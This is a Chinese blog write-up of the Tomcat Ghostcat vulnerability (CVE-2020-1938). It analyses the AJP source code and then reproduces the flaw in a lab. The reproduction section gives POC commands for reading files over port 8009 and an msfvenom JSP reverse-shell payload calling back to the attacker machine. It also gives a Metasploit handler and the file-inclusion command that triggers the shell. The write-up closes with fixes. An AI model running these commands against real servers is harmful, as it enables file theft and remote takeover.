本文最后更新于 2024-09-26,文章内容可能已经过时。

Tomcat 文件读取/文件包含漏洞(CVE-2020-1938)复现

一、漏洞简介

​ 2020年2月20日,国家信息安全漏洞共享平台(CNVD)发布了关于Apache Tomcat存在文件包含漏洞的安全公告(CNVD-2020-10487,对应CVE-2020-1938)。**攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。**别名:幽灵猫( GhostCat )

影响范围:

  • Apache Tomcat 6
  • Apache Tomcat 7 < 7.0.100
  • Apache Tomcat 8 < 8.5.51
  • Apache Tomcat 9 < 9.0.31

二、 漏洞原理

2.1 基础简介

2.1.1 Tomcat 的体系结构

​ Tomcat大致的体系结构如下:

image-20220309135848594
  • Connector :用于在指定的端口上侦听客户请求,接收连接请求之后分配线程让 Container 来处理这个请求。

(如:tomcat配置文件下的server.xml文件中就有一段默认的Connector标签配置的8080端口)

  • Container :由四个自容器组件构成,分别是Engine、Host、Context、Wrapper。
  • Engine :Engine 容器,定义了一些基本的关联关系
  • Host :Host 是 Engine 的字容器,Host 在 Engine 中代表一个虚拟主机,其作用就是运行多个应用。
  • Context :Context 容器,拥有 Servlet 运行的基本环境,且负责管理其中的 Servlet 实例。
  • Wrapper :Wrapper 是最底层的容器,负责管理一个 Servlet。
  • Servlet :服务程序。
2.1.2 Tomcat Connector

Tomcat 最主要的功能是提供 Servlet/JSP 容器,它在对静态资源(如 HTML 文件或图像文件)的处理速度,以及提供的 Web 服务器管理功能方面都不如其他专业的 HTTP 服务器,如 IIS 和 Apache 服务器。因此在实际应用中,常常把 Tomcat 与其他 HTTP 服务器集成,二者通过 AJP 协议来通信。其他 HTTP 服务器可以将 Servlet 与 JSP 服务交给 Tomcat 服务器来处理。

​ **而 Tomcat 的 Connector 组件主要职责就是负责接收客户端连接和客户端请求的处理加工。**每个 Connector 会监听一个指定端口,分别负责对请求报文的解析和响应报文组装,解析过程封装 Request 对象,而组装过程封装 Response 对象Tomcat 服务器默认开启了两个 Connector,分别监听8080端口与8009端口(都在server.xml配置文件中),其中 HTTP Connector 是用于正常 HTTP 协议通信的连接器AJP Connector 则是使用 AJP 协议与其他 HTTP 服务器进行通信,使用二进制格式来传输可读性文本,降低了 HTTP 请求的处理成本。Tomact 与 Apache 集成工作过程如下图所示。

image-20220314152423234
2.1.3 Servlet

​ **Servlet(服务程序)简单理解起来就是一种用来处理网络请求的一套规范,作用是给上级容器(Tomcat)提供 doGet() 和 doPost() 等方法。**所有发送至 Tomcat 的请求都会根据相应的规则交由指定 Servlet 来处理。Tomcat 默认配置了两个 Servlet,即 DefaultServlet 和 JspServlet。JspServlet 负责处理所有JSP文件的请求,而当请求没有匹配到任何指定 Servlet 则交由 DefaultServlet 处理。( conf/web.xml 配置文件中相关的配置如下。)

    <servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        ......
    </servlet>
	<servlet>
        <servlet-name>jsp</servlet-name>
        <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
        ......
    </servlet>
	......
	<!-- The mapping for the default servlet -->
	<!-- 可以看到匹配的正则为/,即全部类型-->
    <servlet-mapping>
        <servlet-name>default</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>
    <!-- The mappings for the JSP servlet -->
	<!-- 可以看到下方匹配的正则的各种jsp格式类型-->
    <servlet-mapping>
        <servlet-name>jsp</servlet-name>
        <url-pattern>*.jsp</url-pattern>
        <url-pattern>*.jspx</url-pattern>
    </servlet-mapping>

后续漏洞的触发也是通过以上两种servlet

2.1.4 Tomcat 处理HTTP请求过程
image-20220309114244303
  1. 用户输入URL:http://localhost:8080/test/index.jsp,请求被发送到本机端口8080,Connector接收后,由Connector 中的 Processor 类来封装 Request 。

  2. Connector 中的 Adapter 类将封装好的 Request 交给 Container 中的 Engine 容器来处理,并等待 Engine 容器的回应。

  3. Engine 容器收到请求,进行匹配,找到指定的虚拟主机Host。

  4. Engine 容器匹配到名为localhost 的 Host 容器,该 Host 容器收到请求 /test/index.jsp,匹配其拥有的 Context 容器,寻找路径为/test的 Context 容器。

  5. path="/test" 的 Context 获得请求 /index.jsp,在其 mapping table (就是上面说的那两个servlet)中匹配对应的 Servlet。找到 url-pattern 为 *.jsp 的 JspServlet(匹配不到则默认交由 DefaultServlet 类 )。

  6. Wrapper 中的 Servlet 构造 HttpServletRequest 对象和 HttpServletResponse 对象,作为参数调用 JspServlet的 doGet() 方法或 doPost() 方法,执行业务逻辑、数据存储等程序。

  7. Context 将 Servlet 执行完之后的 HttpServletResponse 对象返回给 Host 容器。

  8. Host 容器把 HttpServletResponse 对象返回给 Engine 容器。

  9. Engine 容器把 HttpServletResponse 对象返回 Connector。

  10. Connector 把 HttpServletResponse 对象返回给客户的浏览器。

2.2 漏洞分析

​ 官网下载Tomcat源码进行分析。(apache-tomcat-8.5.46-src:https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.46/src/apache-tomcat-8.5.46-src.zip)

​ 其他服务器发送 AJP 请求给Tomcat,而后组件 Connector 接收并交由自己的 AjpProcessor 类进行处理。**此次造成漏洞的核心代码就在 org.apache.coyote.ajp.AjpProcessor.java 中 prepareRequest() 方法下处理额外属性的地方,**如下。

image-20220310170634909

在读取 AJP 请求头后,prepareRequest() 方法将解析 AJP 请求信息,并将其中的属性与值取出放入 request 中。

1、创建 attributeCode 变量,从 AJP 请求取出值赋给它,而后用其与 Constants.SC_A_ARE_DONE (值为0XFF,代表请求结束) 比较的结果作为 while 循环条件。

2、当取出 attributeCode 的值为 Constants.SC_A_REQ_ATTRIBUTE (值为 10,非通用请求属性名称的整数代码)时,即取出的值为额外属性。会将属性名称与值取出分别使用n、v 变量存放。

3、当属性名称不是 AJP 本地地址、AJP 远程端口等属性时,会将取出的属性与值直接存放进 request 对象中。

接下来会将将请求传给 CoyoteAdapter ,由它负责对请求进行封装,构造 Request 和 Response 对象,并将请求发送给 Container。

image-20220311151334728

之后就是 Tomcat 内部处理过程,最后到达 Servlet 。而 Tomcat 默认配置了两个 Servlet ,DefaultServlet 与 JspServlet ,也就分别对应了文件读取和文件包含漏洞。

文件读取漏洞:(漏洞出现在DefaultServlet 中)

​ 当URL请求未匹配到指定 Servlet 时,最后都会交由 DefaultServlet 来处理。

​ 分析org.apache.catalina.servlets.DefaultServlet.java 。请求到达 DefaultServlet 后,会执行 service() 方法,判断请求的 DispatcherType 是否为 ERROR ,若是则直接调用 doGet() 方法,否则调用父类的 Service() 方法。

image-20220311151509052

​ DefaultServlet 的父类为 HttpServlet (javax.servlet.http.HttpServlet.java)。其 service() 方法根据请求方法(method)决定调用 doGet() 或是 doPost() ,代码如下。此处我们是读取文件,使用的是 Get 方法。

image-20220311153030900

​ 接下来在 doGet() 方法中,调用 serveResource() 方法去获取资源。

image-20220311154312363

​ 在 serveResource() 方法中,会调用 getRelativePath() 方法去获取资源路径,并使用 path 变量存储路径。

image-20220311155844884

​ 在 getRelativePath() 方法中有三个重要的路径参数,如下。

image-20220311160407501

​ 在 javax.servlet.RequestDispatcher.java 中,查看定义的值,如下。

static final String INCLUDE_REQUEST_URI = "javax.servlet.include.request_uri";
static final String INCLUDE_PATH_INFO = "javax.servlet.include.path_info";
static final String INCLUDE_SERVLET_PATH = "javax.servlet.include.servlet_path";

​ 由截图中的代码可知,当 request 中 javax.servlet.include.request_uri 不为空时,将request 的 javax.servlet.include.path_info 与 javax.servlet.include.servlet_path 分别赋值给 path_info 和 servlet_path。

​ 而后只要 path_info 与 servlet_path 的值不为空,就将 path_info 与 servlet_path 拼接起来赋值给 result ,代码如下。所以之前的 path 的值为 result。

image-20220311162942046

​ 回到 serveResource() 方法,获取到资源路径后,创建 resources 对象并调用其 getResource() 方法根据 path 获取资源,代码如下。

WebResource resource = resources.getResource(path);

​ 在 getResource() 方法中(位于 org.apache.catalina.webresources.StandardRoot.java),会调用 validate() 方法进行校验。

image-20220311170339260

validate() 方法中主要调用 normalize() 方法进行校验。

image-20220314142939923

normalize() 方法的主要功能如下:

1.判断path中是否有'\\',有就转换成'/';
2.判断path是否以'/'开头,若不是则在前面加上'/';
3.判断path是否以'/.'或'/..'结尾,若是则结尾加一个'/';
4.判断path是否含有'//',有则替换成'/';
5.判断path是否含有'/./',若有直接截断并重新拼接,如'/./abc'变为'/abc'
6.判断path是否含有'/../',若有则直接返回null;

由第六点可知我们的请求路径中不能包含"/…/",也就导致了该漏洞只能读取webapps目录下的文件。

​ 验证完成之后,使用 getOutputStream() 获取 ServletOutputStream 的实例

image-20220311174513660

​ 再用 write() 方法将获取资源的内容写入输出流。

image-20220314153320637

​ 随后再经过 Tomcat 内部流程处理,最终返回给客户端。

​ 至此利用过程结束,而我们可以通过刚才在 DefaultServlet 的 getRelativePath() 中说过的三个参数进行访问资源路径的控制。而我们首先还需要让请求到达 DefaultServlet ,需要让请求的 url 为 “/asdf” ,此处的 asdf 为随机字符串(即是不存在的路径),目的是让 Tomcat 找不到 webapps 下的至指定文件,从而请求会到 Tomcat 的默认目录(即让请求到达 DefaultServlet )。若是想请求 webapps 目录下的其他目录,则可以设置为 ‘/指定目录/asdf’,如’’/manager/asdf’。

如要访问"webapps/ROOT/WEB-INF/web.xml"

(1)首先将请求 url 为'/asdf'

(2)再将javax.servlet.include.request_uri 值设置为’/’(非空)

(3)javax.servlet.include.servlet_path 的值设置为 '/'

(4)javax.servlet.include.path_info 的值设置为 ‘WEB-INF/web.xml’。

文件包含漏洞

​ 若请求的是 jsp 文件,则请求在经过 AjpProcessor 类后,就交由 JspServlet 进行处理。

​ 请求到达 JspServlet 后,经 service() 方法处理,将 servlet_path 和 path_info 拼接在一起,赋值给 jspUri (相当于请求的 jsp 的路径)。代码如下(位于 org.apache.jasper.servlet.JspServlet.java):

image-20220314144905600

​ 之后使用 serviceJspFile() 方法利用 jspUri 生成 JspServletWrapper 实例,也会初始化一个也会初始化一个JspCompilationContext ,再到调用实例的 service() 方法。

image-20220314155059799

​ JspServletWrapper 中的 service() 方法会判断 options.getDevelopment() 或 mustCompile 值为 True (即判断系统是否允许重加载),而后调用 JspCompilationContext 的 compile() 方法。代码位于org.apache.jasper.servlet.JspServletWrapper.java 。

image-20220315111151529

​ 在 JspCompilationContext 的 compile() 方法会调用 Compiler 的 compile() 方法,

image-20220315113602203

compile()方法首先会根据请求的 jsp 文件,生成对应的 java 代码,再将代码文件编译成 class 。代码如下。

image-20220315121052805

之后 JspServletWrapper 使用 getServlet() 方法获取编译后生成的 Servlet

image-20220315121800810

最后调用 service() 方法,请求执行。

image-20220315135434270

利用过程简单就是,我们通过传入 servlet_pathpath_info ,让其去将指定的文件作为 jsp 文件处理,Tomcat 会将根据指定的文件生成 java 代码并编译成 class ,而后加载 class 类实例化一个 servlet 并执行,从而造成文件包含

简单总结下文件包含的利用调用关系:

image-20240926032248983

三、复现过程

服务器:centos7(192.168.91.128)

Tomcat 版本:Apache Tomcat 8.5.32

拉取靶场镜像

docker pull duonghuuphuc/tomcat-8.5.32 

攻击机:Kali (IP:192.168.91.129)

漏洞利用工具(github)https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/

3.1 任意文件读取

靶机服务器启动镜像:

docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32  

访问:访问 http://192.168.91.128:8080 看到此页面说明靶场搭建成功了

image-20240926034029259

kali下载工具,cd到利用工具目录:

image-20240926033917545

使用 POC 访问 靶机服务器上 WEB-INF 下的 web.xml 文件

python2 'Tomcat-ROOT路径下文件读取(CVE-2020-1938).py' -p 8009 -f /WEB-INF/web.xml 192.168.91.128

image-20240926034210853

可以看到成功,读取到web.xml的文件内容

3.2 文件包含

利用文件包含漏洞实现getshell

想要getshell则网站需要有文件上传的地方,这个靶场没有这个功能,不过我们可以模拟一下这个过程,我们手动复制木马文件到靶场服务器来模拟getshell过程

我在这里直接攻击机上生成,复制到服务器目录中

kali上如下命令生成java木马文件

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.91.129 LPORT=8888 -f raw > shell.txt

image-20240926035034674

msf开启监听

msfconsole

use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.91.128
set lport 8888

run

image-20240926034829314

开启监听成功

复制文件到服务器中

将文件从kali上传到靶机中,先 docker ps 查看容器CONTAINER ID,然后进行复制

docker cp shell.txt de3d68dddc35:/usr/local/tomcat/webapps/ROOT/WEB-INF/

image-20240926035417955

上传成功

访问上传的木马文件

在kali上通过之前下载的POC访问一下,发现成功读取到了内容

python2 'Tomcat-ROOT路径下文件读取(CVE-2020-1938).py' -p 8009 -f /WEB-INF/shell.txt 192.168.91.128

image-20240926035635067

但是我们目的是getshell,需要让shell执行才行

image-20240926040054337

注意:利用工具中的这俩文件作用不一样,'Tomcat-ROOT路径下文件包含…'是用来编译执行服务器代码,执行反向shell用的这个,也就是上面一步,让木马执行反向连接攻击机

而Tomcat-ROOT路径下文件读取…'单纯的读取文件内容,而不会编译执行

攻击主机访问木马文件,并编译执行,反向连接我们攻击主机的msf上

python2 'Tomcat-ROOT路径下文件包含(CVE-2020-1938).py' -p 8009 -f /WEB-INF/shell.txt 192.168.91.128

image-20240926035907657

没有报错说明服务器上上传的反向木马编译执行了,最后返回msf,查看有没有反弹回来shell。

image-20240926035857628

至此,通过文件包含Getshell。

3.4 修复方法

(1)官方网站下载新版本进行升级。

(2)直接关闭 AJP Connector,或将其监听地址改为仅监听本机 localhost。

(3)若需使用 Tomcat AJP 协议,可根据使用版本配置协议属性设置认证凭证。

四、参考文章

1、解析Tomcat内部结构和请求过程-逝宇、 (https://www.cnblogs.com/zhouyuqin/p/5143121.html)

2、一文详解Tomcat Ghostcat-AJP协议文件读取/文件包含漏洞CVE-2020-1938 - raul17的文章 - 知乎( https://zhuanlan.zhihu.com/p/137527937)

3、Tomcat-Ajp协议漏洞分析 (https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ)